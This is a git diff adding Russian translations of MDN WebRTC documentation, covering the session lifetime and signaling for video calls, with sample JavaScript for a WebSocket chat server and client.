+ <dd>Интерфейс {{domxref("RTCDataChannel")}}  - это функциональность, которая позволяет открыть канал передачи данных между двумя узлами, по которому можно предавать произвольные данные. Эти API намеренно подобны  <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a>, так, что бы в обоих могла использоваться единая модель программирования.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Сигнализация и двухсторонние видео вызовы</a></dt>
+ <dd>Например, мы берем чат на веб сокете, который мы создали в другом примере, и добавляем в него способность создавать видео вызовы. Сервер чата расширяется функциональностью обработки WebRTC сигнализации.</dd>
+</dl>
+
+<h2 id="Ресурсы_2"><a id="Ресурсы" name="Ресурсы">Ресурсы</a></h2>
+
+<h3 id="Протоколы">Протоколы</h3>
+
+<h4 id="WebRTC-_текущие_протоколы">WebRTC- текущие протоколы</h4>
+
+<ul>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-alpn/"><cite>Протокол согласования соединения для Web RTC</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-audio/"><cite>WebRTC Аудио кодек и требования к обработке</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-data-channel/"><cite>RTCWeb Каналы данных</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-data-protocol/"><cite>RTCWeb Протокол канала данных</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-rtp-usage/"><cite>Связь в реальном времени (WebRTC): Медиа транспорт и использование RTP</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-security-arch/"><cite>WebRTC Безопасная архитектура</cite></a></li>
+ <li><a href="http://datatracker.ietf.org/doc/draft-ietf-rtcweb-transports/"><cite>Транспорты для RTCWEB</cite></a></li>
+</ul>
+
+<h4 id="Связанные_поддерживающие_протоколы">Связанные поддерживающие протоколы</h4>
+
+<ul>
+ <li><a href="https://tools.ietf.org/html/rfc5245">Установка интерактивной связи (ICE): Протокол обхода транслятора сетевых адресов (NAT) при доставки объектов Offer/Answer</a></li>
+ <li><a href="https://tools.ietf.org/html/rfc5389"><cite>Сети обхода NAT (STUN)</cite></a></li>
+ <li><a href="https://tools.ietf.org/html/rfc7064"><cite>Схема URI для протокола сетей обхода  NAT (STUN)</cite></a></li>
+ <li><a href="https://tools.ietf.org/html/rfc7065"><cite>Traversal Using Relays around NAT (TURN) Uniform Resource Identifiers</cite></a></li>
+ <li><a href="https://tools.ietf.org/html/rfc3264"><cite>An Offer/Answer Model with Session Description Protocol (SDP)</cite></a></li>
+ <li><a href="https://datatracker.ietf.org/doc/draft-ietf-tram-turn-third-party-authz/"><cite>Session Traversal Utilities for NAT (STUN) Extension for Third Party Authorization</cite></a></li>
+</ul>
+
+<h4 id="WebRTC_статистика"><cite>WebRTC статистика</cite></h4>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/WebRTC_Statistics_API">WebRTC Statistics API</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>The initial definition of the API of WebRTC.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>The initial definition of the object conveying the stream of media content.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture DOM Elements')}}</td>
+   <td>{{Spec2('Media Capture DOM Elements')}}</td>
+   <td>The initial definition on how to obtain stream of content from DOM Elements</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>В дополнение к этим спецификациям, определяющим API, необходимый для использования WebRTC, имеется несколько протоколов, перечисленных в разделе <a href="#Ресурсы">ресурсы</a>.</p>
+
+<h2 class="Related_Topics" id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("MediaDevices")}}</li>
+ <li>{{domxref("MediaStreamEvent")}}</li>
+ <li>{{domxref("MediaStreamConstraints")}}</li>
+ <li>{{domxref("MediaStreamTrack")}}</li>
+ <li>{{domxref("MessageEvent")}}</li>
+ <li>{{domxref("MediaStream")}}</li>
+ <li><a href="https://hacks.mozilla.org/2015/06/firefox-multistream-and-renegotiation-for-jitsi-videobridge/">Firefox multistream and renegotiation for Jitsi Videobridge</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/04/peering-through-the-webrtc-fog-with-socketpeer/">Peering Through the WebRTC Fog with SocketPeer</a></li>
+ <li><a href="https://hacks.mozilla.org/2014/04/inside-the-party-bus-building-a-web-app-with-multiple-live-video-streams-interactive-graphics/">Inside the Party Bus: Building a Web App with Multiple Live Video Streams + Interactive Graphics</a></li>
+</ul>
diff --git a/files/ru/web/api/webrtc_api/session_lifetime/index.html b/files/ru/web/api/webrtc_api/session_lifetime/index.html
new file mode 100644
index 0000000000..958fd99136
--- /dev/null
+++ b/files/ru/web/api/webrtc_api/session_lifetime/index.html
@@ -0,0 +1,90 @@
+---
+title: Жизнь WebRTC-сессии
+slug: Web/API/WebRTC_API/Session_lifetime
+translation_of: Web/API/WebRTC_API/Session_lifetime
+---
+<p>{{WebRTCSidebar}}{{draft}}</p>
+
+<div class="summary">
+<dl>
+ <dd>WebRTC позволяет браузерным приложениям построить соединение в режиме узел-узел для передачи произвольных данных, аудио-, видео-потоков или любую их комбинацию. В этой статье мы увидим то, как живет WebRTC-сессия, начиная с установки соединения и пройдём через весь путь до его завершения, если соединение больше не нужно.</dd>
+</dl>
+</div>
+
+<p>Эта статья не вдается в детали фактически использованных API в установке и обработке WebRTC-соединения. Это просто обзор процесса вцелом с некоторой информацией о том, для чего нужен каждый шаг. Смотрите статью <a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a>, чтобы получить пример с пошаговым объяснением того, что делает код.</p>
+
+<div class="note">
+<p>Эта страница находится в стадии разработки, и некоторое из содержания будут перемещаться на другие страницы, как направляющий материал. </p>
+
+<p>Вы можете помочь перевести документацию для других разработчиков. Пожалуйста принесите пользу миру и помогите с качественным переводом этой документации.</p>
+</div>
+
+<h2 id="Установка_соединения">Установка соединения</h2>
+
+<p>Интернет большой. Реально большой. Умные люди, несколько лет назад, заметив то, насколько он велик, каким большим он может стать и то как быстро растёт, а также ограничения 32-битной системы адресации протокола IP, и поняли, что нужно начать что-то делать, чтобы создать новую 64-битную систему адресации. Но в какой-то момент они так же пришли к выводу, что переход на новую систему займёт больше времени, чем продержатся 32-разрядные адреса. Затем другие умные люди придумали способ, позволяющий нескольким компьютерам использовать один и тот же 32-итный IP-адрес. Network Address Translation ({{Glossary("NAT")}}) - это стандарт, который поддерживает разделение адреса путем маршрутизации входящих и исходящих пакетов данных в и из локальной сети (LAN), которые разделяют единственный WAN (глобальный) адрес.</p>
+
+<p>Проблемой для пользователя является то, что каждый отдельный компьютер в сети Интернет не обязан иметь уникальный IP-адрес, и посути, IP-адрес устройства может измениться не только тогда, когда оно перемещяется из одной сети в другую, но и если их сетевой адрес был изменён {{Glossary("NAT")}} и/или {{interwiki("wikipedia", "DHCP")}}. Для разработчиков, пытающихся строить одноранговые сети, эта ситуация является хорошей головоломкой: без уникального идентификатора для каждого устройства, нет возможности моментально автоматически выяснить то, как подключиться к конкретному устройству в Интернет.  Если вызнаете, с кем вы хотите поговорить, вам не обязательно знать, какой адрес у вашего собеседника.</p>
+
+<p>Это похоже на попытку отправить письмо подруге Мишель, написав только на конверте слово "Мишель" и опустить в почтовый ящик. Вам необходимо выяснить её адрес и указать его на конверте, иначе она сильно удивится, почему вы забыли про её день рождения.</p>
+
+<p>Всё это входит в процесс сигнализации.</p>
+
+<h3 id="Процесс_Сигнализации">Процесс Сигнализации</h3>
+
+<p>Сигнализация - это процесс передачи управляющей информации между двумя устройствами для опредения протоколов связи, каналов, кодирования и формата медиа-данных,  методов передачи данных, а также информации, необходимой для маршрутизации. Наиболее важная вещь, о которой нужно знать о процессе сигнализации для WebRTC - <strong>этот процесс не определен в спецификации</strong>.</p>
+
+<p>Вы можете задаться вопросом, почему нечто основоположное для процесса установки WebRTC-соединения вынесено из спецификации? Ответ прост: потому как два устройства не могут контактировать друг с другом, и спецификация не может предусмотреть все возможные способы использования WebRTC, также это приобретает ещё больший смысл с точки зрения предоставления разработчику возможности выбора наиболее подходящей сетевой технологии и протоколов передачи сообщений.</p>
+
+<p>Для обмена сигнальной информацией, вы можете выбрать отправку JSON-объектов через WebSocket-соединение,  можете использовать протокол XMPP/SIP через соответствующий канал, так же можете использовать {{domxref("XMLHttpRequest")}} через {{Glossary("HTTPS")}}  с техникой пуллинга ({{Glossary("HTTPS")}} with polling), или же другие комбинации технологий, которые вам могут прийти в голову. Вы даже можете использовать электронную почту в качестве сигнального канала.</p>
+
+<p>Стоит также отметить, что сигнальный канал может вообще находиться вне компьютерной сети. Один узел может выпустить объект данных, который затем может быть распечатан на принтере, физически перемещается (пешком или голубиной почтой) до другого устройства, данные вводятся в устройство, ответ устройства затем возвращается обратно, так же пешком, и так далее, пока WebRTC-соединение между узлами открыто. В этом случае, будет очень высокая латентность, но этот сценарий возможен.</p>
+
+<h4 id="Обмен_информации_во_время_процесса_сигнализации">Обмен информации во время процесса сигнализации</h4>
+
+<p>Существует три основных типа информации, которой нужно обмениваться во время процесса сигнализации:</p>
+
+<ul>
+ <li>Управляющие сообщения, используемые для настройки, открытия и закрытия каналов коммуникации, а также для обработки ошибок</li>
+ <li>Информация, необходимая для того, чтобы настроить соединение: информация об IP-адресе и порте необходима узлам, чтобы они могли разговаривать друг с другом.</li>
+ <li>Необходимо согласовать медиа-потоки: какие могут использоваться между узлами кодеки и форматы медиа-данных? Все это необходимо согласовать дотого, как будет установлена WebRTC-сессия.</li>
+</ul>
+
+<p>Только после успешного завершения процесса сигнализации, может быть возможен процесс открытия WebRTC-соединения между узлами.</p>
+
+<p>Стоит также отметить, что сигнальному серверу не нужно понимать данные, которыми через него обмениваются между собой два узла, или что-нибудь с ними делать. Сигнальный сервер, по существу, является ретранслятором - общей точкой,  которую знают обе стороны могут к ней подключиться чтобы передавать данные через неё. Сервер не должен реагировать на передаваемую информацию ни коим образом.</p>
+
+<h4 id="Процесс_сигнализации">Процесс сигнализации</h4>
+
+<p>Существует последовательность действий, которую нужно выполнить, чтобы стало возможным начало WebRTC-сессии:</p>
+
+<ol>
+ <li>Каждый узел создает объект {{domxref("RTCPeerConnection")}}, представляющий собой WebRTC-сессию и сохраняющийся до её завершения.</li>
+ <li>Каждый узел устанавливает обработчик события {{event("icecandidate")}},которая занимается отправкой этих кандидатов в другую сторону по каналу сигнализации.</li>
+ <li>Каждый узел устанавливает обработчик события {{event("addstream")}}, которое срабатывает когда начинает приходить поток данных от удаленного узла. Этот обработчик должен подключить этот поток к потребителю, например к элементу {{HTMLElement("video")}}.</li>
+ <li>Вызывающий узел создает уникальный идентификатор, токен или нечто, что сможет идентифицировать вызов на сигнальном сервере, и обмениваться с принимающим узлом. Форма и содержимое идентификатора остается на усмотрение разработчика.</li>
+ <li>Каждый узел подключается к согласованному сигнальному серверу, такому например как известный обоим WebSocket-сервер, для обмена сообщениями.</li>
+ <li>Каждый узел сообщает сигнальному серверу, что хочет подключиться к одной и той же WebRTC-сессии (идентифицируемой токеном, определенным на шаге 4)</li>
+ <li><strong><em>descriptions, candidates, etc. -- more coming up</em></strong></li>
+</ol>
+
+<h2 id="Перезапуск_сессии_ICE_агент"><strong>Перезапуск сессии ICE агент</strong></h2>
+
+<p>Иногда, во время срока службы WebRTC сессии, сетевые условия изменяются. Один из пользователей, возможно, перейдет от сотовой сети к сети WiFi или сеть может стать перегруженной. Например: когда это произойдет, ICE агент может перезапустить сессию. Это процесс, с помощью которого сетевое соединение перезапустится и восстановится, точно таким же образом выполняется начальная установка сессии, за одним исключением того пока не установится новая сессия. Тогда сессия сменяется и переходит к новому сетевому соединению, а старое соединение закрывается.</p>
+
+<div class="note">
+<p>Различные браузеры поддерживают перезапуск сессии при разных условиях. Не все браузеры будут выполнять перезапуск сессии из-за перегрузки сети, например:</p>
+</div>
+
+<p>Есть два уровня перезапуска сессии: полная перезагрузка сессии вызывает все мультимедийные потоки в сеансе и должны быть пересмотрены. Частичная перезагрузка сессии позволяет агенту сессии перезапустить конкретный медиапоток вместо того, чтобы перезапускать  все медиаданные. Некоторые браузеры пока не поддерживают частичную перезагрузку сессии, однако. &lt;&lt;&lt; Все зависит от вашего кодерства... &gt;&gt;&gt;</p>
+
+<p>Если вам необходимо изменить конфигурацию соединения каким-либо образом (например, изменение к другому набору связи), вы можете сделать это перед <code><a href="https://developer.mozilla.org/ru/docs/Web/API/RTCPeerConnection/setConfiguration" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!">RTCPeerConnection.setConfiguration()</a>(перед назначением конфигурации)</code> с обновленной <code><a href="https://developer.mozilla.org/ru/docs/Web/API/RTCConfiguration" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!">RTCConfiguration</a>(конфигурацией)</code> перед повторным запуском движка.</p>
+
+<p>Чтобы явно вызвать перезапуск сессии, нужно начать переговорный процесс с помощью вызова <code><a href="https://developer.mozilla.org/ru/docs/Web/API/RTCPeerConnection/createOffer" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!">RTCPeerConnection.createOffer()</a>,</code> указав параметр iceRestart(перезапуск сессии) со значением истины(true). Затем обработать процесс соединения так, как вы это обычно делаете.</p>
+
+<h2 id="Transmission">Transmission</h2>
+
+<h3 id="getUserMedia">getUserMedia</h3>
+
+<p>LocalMediaStream object</p>
+
+<h2 id="Reception">Reception</h2>
diff --git a/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html b/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html
new file mode 100644
index 0000000000..4c4f7ea418
--- /dev/null
+++ b/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html
@@ -0,0 +1,665 @@
+---
+title: Сигнализирование и видео вызов
+slug: Web/API/WebRTC_API/Signaling_and_video_calling
+translation_of: Web/API/WebRTC_API/Signaling_and_video_calling
+---
+<div>{{WebRTCSidebar}}</div>
+
+<p><span class="seoSummary"><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> позволяет обмениваться медиаданными между двумя устройствами напрямую (peer-to-peer) в режиме реального времени. Соединение устанавливается путем обнаружения и согласования, называемым <strong>сигнализацией (signaling)</strong>. Эта статья объясняет, как сделать двусторонний видеозвонок.</span></p>
+
+<p><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> это технология прямого обмена аудио-, видео- и другими данными в режиме реального времени с одним ключевым условием. Процесс обнаружения и согласования медиаформатов должен происходить так чтобы два устройства, подключенные к разным сетям, могли локализовать друг друга, <a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime#Establishing_a_connection">как обсуждалось здесь</a>. Этот процесс назван <span class="seoSummary"><strong>сигнализацией </strong></span>и подразумевает, что оба устройства подключаются к третьему, обоюдно согласованному серверу. Через третью сторону устройства определяют адреса друг друга и обмениваются согласующими сообщениями.</p>
+
+<p>В этой статье мы будем дорабатывать  <a class="external external-icon" href="https://webrtc-from-chat.glitch.me/" rel="noopener">WebSocket-чат</a>, созданный для нашей документации к WebSocket, — добавим к нему двусторонний видеозвонок между двумя пользователями. Вы можете <a href="https://webrtc-from-chat.glitch.me/">использовать этот пример на Glitch</a> или <a href="https://glitch.com/edit/#!/remix/webrtc-from-chat">клонировать его</a>, чтобы поэкспериментировать самим. <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-from-chat">Весь проект</a> можно посмотреть на GitHub.</p>
+
+<div class="note">
+<p><strong>Note:</strong> If you try out the example on Glitch, please note that any changes made to the code will immediately reset any connections. In addition, there is a short timeout period; the Glitch instance is for quick experiments and testing only.</p>
+</div>
+
+<h2 id="Сервер_сигнализации">Сервер сигнализации</h2>
+
+<p>Для установление WebRTC-соединения между двумя устройствами необходим <strong>сервер сигнализации</strong>, чтобы определить, как соединять эти устройства через Интернет. Сервер сигнализации выступает посредником между пирами, позволяя им найти адреса друг друга и установить соединение, и предельно минимизирует риск утечки информации, которая может оказаться личной. Как создать такой сервер и как устроен процесс сигнализации?</p>
+
+<p>Во-первых, нужен сам сервер сигнализации. Спецификация WebRTC не определяет, какой транспорт используется для передачи сигнальной информации. Можете использовать какой вам нравится, от <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket</a> до {{domxref("XMLHttpRequest")}} и почтовых голубей, чтобы передать сигнальную информацию между пирами.</p>
+
+<p>Важно, что серверу не нужно понимать или интерпретировать сигнальные данные. Хотя они в формате {{Glossary("SDP")}}, это не имеет особого значения: содержание сообщений, проходящих через сигнальный сервер - по сути, черный ящик. Значение имеет лишь то, что когда подсистема {{Glossary("ICE")}} дает команду передать данные другому пиру, вы просто это делаете, а уже пир знает, как получить эту информацию и доставить ее на свою подсистему ICE. Все что нужно - передавать сообщения туда и обратно. Содержание совершенно не важно для сигнального сервера.</p>
+
+<h3 id="Подготовка_сервера_чата_к_сигнализиции">Подготовка сервера чата к сигнализиции</h3>
+
+<p>Наш <a href="https://github.com/mdn/samples-server/tree/master/s/websocket-chat">сервер чата</a> использует <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a> для отправки информации как {{Glossary("JSON")}}  между каждым клиентом и сервером. Сервер поддерживает несколько типов сообщений для нескольких задач : регистрация нового пользователя, установки имен пользователей, отправка сообщений чата.</p>
+
+<p>Для того, что бы сервер мог поддерживать функциональность сигнализации и согласование соединения, нам нужно обновить код. Нам нужно направлять сообщения одному конкретному пользователю вместо того, чтобы транслировать их всем подключенным пользователям, а также обеспечить передачу и доставку неизвестных типов сообщений, при этом серверу не нужно будет знать, что это такое. Это позволит нам посылать сигнальные сообщения, используя один и тот же сервер, вместо того, чтобы использовать отдельный сервер.</p>
+
+<p>Let's take a look which changes we need to make to the chat server support WebRTC signaling. This is in the file <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-from-chat/chatserver.js">chatserver.js</a>.</p>
+
+<p>First up is the addition of the function <code>sendToOneUser()</code>. As the name suggests, this sends a stringified JSON message to a particular username.</p>
+
+<pre class="brush: js notranslate">function sendToOneUser(target, msgString) {
+  var isUnique = true;
+  var i;
+
+  for (i=0; i&lt;connectionArray.length; i++) {
+    if (connectionArray[i].username === target) {
+      connectionArray[i].send(msgString);
+      break;
+    }
+  }
+}</pre>
+
+<p>This function iterates over the list of connected users until it finds one matching the specified username, then sends the message to that user. The parameter <code>msgString</code> is a stringified JSON object. We could have made it receive our original message object, but in this example it's more efficient this way. Since the message has already been stringified, we can send it with no further processing. Each entry in <code>connectionArray</code> is a {{domxref("WebSocket")}} object, so we can just call its {{domxref("WebSocket.send", "send()")}} method directly.</p>
+
+<p>Our original chat demo didn't support sending messages to a specific user. The next task is to update the main WebSocket message handler to support doing so. This involves a change near the end of the <code>"connection"</code> message handler:</p>
+
+<pre class="brush: js notranslate">if (sendToClients) {
+  var msgString = JSON.stringify(msg);
+  var i;
+
+  if (msg.target &amp;&amp; msg.target !== undefined &amp;&amp; msg.target.length !== 0) {
+    sendToOneUser(msg.target, msgString);
+  } else {
+    for (i=0; i&lt;connectionArray.length; i++) {
+      connectionArray[i].send(msgString);
+    }
+  }
+}</pre>
+
+<p>This code now looks at the pending message to see if it has a <code>target</code> property. If that property is present, it specifies the username of the client to which the message is to be sent, and we call <code>sendToOneUser()</code> to send the message to them. Otherwise, the message is broadcast to all users by iterating over the connection list, sending the message to each user.</p>
+
+<p>As the existing code allows the sending of arbitrary message types, no additional changes are required. Our clients can now send messages of unknown types to any specific user, letting them send signaling messages back and forth as desired.</p>
+
+<p>That's all we need to change on the server side of the equation. Now let's consider the signaling protocol we will implement.</p>
+
+<h3 id="Designing_the_signaling_protocol">Designing the signaling protocol</h3>
+
+<p>Now that we've built a mechanism for exchanging messages, we need a protocol defining how those messages will look. This can be done in a number of ways; what's demonstrated here is just one possible way to structure signaling messages.</p>
+
+<p>This example's server uses stringified JSON objects to communicate with its clients. This means our signaling messages will be in JSON format, with contents which specify what kind of messages they are as well as any additional information needed in order to handle the messages properly.</p>
+
+<h4 id="Exchanging_session_descriptions">Exchanging session descriptions</h4>
+
+<p>When starting the signaling process, an <strong>offer</strong> is created by the user initiating the call. This offer includes a session description, in {{Glossary("SDP")}} format, and needs to be delivered to the receiving user, which we'll call the <strong>callee</strong>. The callee responds to the offer with an <strong>answer</strong> message, also containing an SDP description. Our signaling server will use WebSocket to transmit offer messages with the type <code>"video-offer"</code>, and answer messages with the type <code>"video-answer"</code>. These messages have the following fields:</p>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>The message type; either <code>"video-offer"</code> or <code>"video-answer"</code>.</dd>
+ <dt><code>name</code></dt>
+ <dd>The sender's username.</dd>
+ <dt><code>target</code></dt>
+ <dd>The username of the person to receive the description (if the caller is sending the message, this specifies the callee, and vice-versa).</dd>
+ <dt><code>sdp</code></dt>
+ <dd>The SDP (Session Description Protocol) string describing the local end of the connection from the perspective of the sender (or the remote end of the connection from the receiver's point of view).</dd>
+</dl>
+
+<p>At this point, the two participants know which codecs and video parameters are to be used for this call. They still don't know how to transmit the media data itself though. This is where {{Glossary('ICE', 'Interactive Connectivity Establishment (ICE)')}} comes in.</p>
+
+<h3 id="Exchanging_ICE_candidates">Exchanging ICE candidates</h3>
+
+<p>Two peers need to exchange ICE candidates to negotiate the actual connection between them. Every ICE candidate describes a method that the sending peer is able to use to communicate. Each peer sends candidates in the order they're discovered, and keeps sending candidates until it runs out of suggestions, even if media has already started streaming.</p>
+
+<p>An <code>icecandidate</code> event is sent to the {{domxref("RTCPeerConnection")}} to complete the process of adding a local description using <code>pc.setLocalDescription(offer)</code>.</p>
+
+<p>Once the two peers agree upon a mutually-compatible candidate, that candidate's SDP is used by each peer to construct and open a connection, through which media then begins to flow. If they later agree on a better (usually higher-performance) candidate, the stream may change formats as needed.</p>
+
+<p>Though not currently supported, a candidate received after media is already flowing could theoretically also be used to downgrade to a lower-bandwidth connection if needed.</p>
+
+<p>Each ICE candidate is sent to the other peer by sending a JSON message of type <code>"new-ice-candidate"</code> over the signaling server to the remote peer. Each candidate message include these fields:</p>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>The message type: <code>"new-ice-candidate"</code>.</dd>
+ <dt><code>target</code></dt>
+ <dd>The username of the person with whom negotiation is underway; the server will direct the message to this user only.</dd>
+ <dt><code>candidate</code></dt>
+ <dd>The SDP candidate string, describing the proposed connection method. You typically don't need to look at the contents of this string. All your code needs to do is route it through to the remote peer using the signaling server.</dd>
+</dl>
+
+<p>Each ICE message suggests a communication protocol (TCP or UDP), IP address, port number, connection type (for example, whether the specified IP is the peer itself or a relay server), along with other information needed to link the two computers together. This includes NAT or other networking complexity.</p>
+
+<div class="note">
+<p><strong>Note:</strong> The important thing to note is this: the only thing your code is responsible for during ICE negotiation is accepting outgoing candidates from the ICE layer and sending them across the signaling connection to the other peer when your {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}} handler is executed, and receiving ICE candidate messages from the signaling server (when the <code>"new-ice-candidate"</code> message is received) and delivering them to your ICE layer by calling {{domxref("RTCPeerConnection.addIceCandidate()")}}. That's it.</p>
+
+<p>The contents of the SDP are irrelevant to you in essentially all cases. Avoid the temptation to try to make it more complicated than that until you really know what you're doing. That way lies madness.</p>
+</div>
+
+<p>All your signaling server now needs to do is send the messages it's asked to. Your workflow may also demand login/authentication functionality, but such details will vary.</p>
+
+<h3 id="Signaling_transaction_flow">Signaling transaction flow</h3>
+
+<p>The signaling process involves this exchange of messages between two peers using an intermediary, the signaling server. The exact process will vary, of course, but in general there are a few key points at which signaling messages get handled:</p>
+
+<p>The signaling process involves this exchange of messages among a number of points:</p>
+
+<ul>
+ <li>Each user's client running within a web browser</li>
+ <li>Each user's web browser</li>
+ <li>The signaling server</li>
+ <li>The web server hosting the chat service</li>
+</ul>
+
+<p>Imagine that Naomi and Priya are engaged in a discussion using the chat software, and Naomi decides to open a video call between the two. Here's the expected sequence of events:</p>
+
+<p><a href="https://mdn.mozillademos.org/files/12363/WebRTC%20-%20Signaling%20Diagram.svg"><img alt="Diagram of the signaling process" src="https://mdn.mozillademos.org/files/16137/WebRTC_-_Signaling_Diagram.svg" style="height: 1117px; width: 901px;"></a></p>
+
+<p>We'll see this detailed more over the course of this article.</p>
+
+<h3 id="ICE_candidate_exchange_process">ICE candidate exchange process</h3>
+
+<p>When each peer's ICE layer begins to send candidates, it enters into an exchange among the various points in the chain that looks like this:</p>
+
+<p><a href="https://mdn.mozillademos.org/files/12365/WebRTC%20-%20ICE%20Candidate%20Exchange.svg"><img alt="Diagram of ICE candidate exchange process" src="https://mdn.mozillademos.org/files/12365/WebRTC%20-%20ICE%20Candidate%20Exchange.svg" style="height: 590px; width: 700px;"></a></p>
+
+<p>Each side sends candidates to the other as it receives them from their local ICE layer; there is no taking turns or batching of candidates. As soon as the two peers agree upon one candidate that they can both use to exchange the media, media begins to flow. Each peer continues to send candidates until it runs out of options, even after the media has already begun to flow. This is done in hopes of identifying even better options than the one initially selected.</p>
+
+<p>If conditions change—for example the network connection deteriorates—one or both peers might suggest switching to a lower-bandwidth media resolution, or to an alternative codec. This triggers a new exchange of candidates, after which a another media format and/or codec change may take place.</p>
+
+<p>Optionally, see {{RFC(8445, "Interactive Connectivity Establishment")}}, <a href="https://tools.ietf.org/html/rfc5245#section-2.3">section 2.3 ("Negotiating Candidate Pairs and Concluding ICE")</a> if you want greater understanding of this process is completed inside the ICE layer. You should note that candidates are exchanged and media starts to flow as soon as the ICE layer is satisfied. This all taken care of behind the scenes. Our role is to simply send the candidates, back and forth, through the signaling server.</p>
+
+<h2 id="The_client_application">The client application</h2>
+
+<p>The core to any signaling process is its message handling. It's not necessary to use WebSockets for signaling, but it is a common solution. You should, of course, select a mechanism for exchanging signaling information that is appropriate for your application.</p>
+
+<p>Let's update the chat client to support video calling.</p>
+
+<h3 id="Updating_the_HTML">Updating the HTML</h3>
+
+<p>The HTML for our client needs a location for video to be presented. This requires video elements, and a button to hang up the call:</p>
+
+<pre class="brush: html notranslate">&lt;div class="flexChild" id="camera-container"&gt;
+  &lt;div class="camera-box"&gt;
+    &lt;video id="received_video" autoplay&gt;&lt;/video&gt;
+    &lt;video id="local_video" autoplay muted&gt;&lt;/video&gt;
+    &lt;button id="hangup-button" onclick="hangUpCall();" disabled&gt;
+      Hang Up
+    &lt;/button&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>The page structure defined here is using {{HTMLElement("div")}} elements, giving us full control over the page layout by enabling the use of CSS. We'll skip layout detail in this guide, but <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-from-chat/chat.css">take a look at the CSS</a> on Github to see how we handled it. Take note of the two {{HTMLElement("video")}} elements, one for your self-view, one for the connection, and the {{HTMLElement("button")}} element.</p>
+
+<p>The <code>&lt;video&gt;</code> element with the <code>id</code> "<code>received_video</code>" will present video received from the connected user. We specify the <code>autoplay</code> attribute, ensuring once the video starts arriving, it immediately plays. This removes any need to explicitly handle playback in our code. The "<code>local_video</code>" <code>&lt;video&gt;</code> element presents a preview of the user's camera; specifiying the <code>muted</code> attribute, as we don't need to hear local audio in this preview panel.</p>
+
+<p>Finally, the "<code>hangup-button</code>" {{HTMLElement("button")}}, to disconnect from a call, is defined and configured to start disabled (setting this as our default for when no call is connected) and apply the function <code>hangUpCall()</code> on click. This function's role is to close the call, and send a signalling server notification to the other peer, requesting it also close.</p>
+
+<h3 id="The_JavaScript_code">The JavaScript code</h3>
+
+<p>We'll divide this code into functional areas to more easily describe how it works. The main body of this code is found in the <code>connect()</code> function: it opens up a {{domxref("WebSocket")}} server on port 6503, and establishes a handler to receive messages in JSON object format. This code generally handles text chat messages as it did previously.</p>
+
+<h4 id="Sending_messages_to_the_signaling_server">Sending messages to the signaling server</h4>
+
+<p>Throughout our code, we call <code>sendToServer()</code> in order to send messages to the signaling server. This function uses the <a href="/en-US/docs/Web/API/WebSockets_API">WebSocket</a> connection to do its work:</p>
+
+<pre class="brush: js notranslate">function sendToServer(msg) {
+  var msgJSON = JSON.stringify(msg);
+
+  connection.send(msgJSON);
+}</pre>
+
+<p>The message object passed into this function is converted into a JSON string by calling {{jsxref("JSON.stringify()")}}, then we call the WebSocket connection's {{domxref("WebSocket.send", "send()")}} function to transmit the message to the server.</p>
+
+<h4 id="UI_to_start_a_call">UI to start a call</h4>
+
+<p>The code which handles the <code>"userlist"</code> message calls <code>handleUserlistMsg()</code>. Here we set up the handler for each connected user in the user list displayed to the left of the chat panel. This function receives a message object whose <code>users</code> property is an array of strings specifying the user names of every connected user.</p>
+
+<pre class="brush: js notranslate">function handleUserlistMsg(msg) {
+  var i;
+  var listElem = document.querySelector(".userlistbox");
+
+  while (listElem.firstChild) {
+    listElem.removeChild(listElem.firstChild);
+  }
+
+  msg.users.forEach(function(username) {
+    var item = document.createElement("li");
+    item.appendChild(document.createTextNode(username));
+    item.addEventListener("click", invite, false);
+
+    listElem.appendChild(item);
+  });
+}</pre>
+
+<p>After getting a reference to the {{HTMLElement("ul")}} which contains the list of user names into the variable <code>listElem</code>, we empty the list by removing each of its child elements.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Obviously, it would be more efficient to update the list by adding and removing individual users instead of rebuilding the whole list every time it changes, but this is good enough for the purposes of this example.</p>
+</div>
+
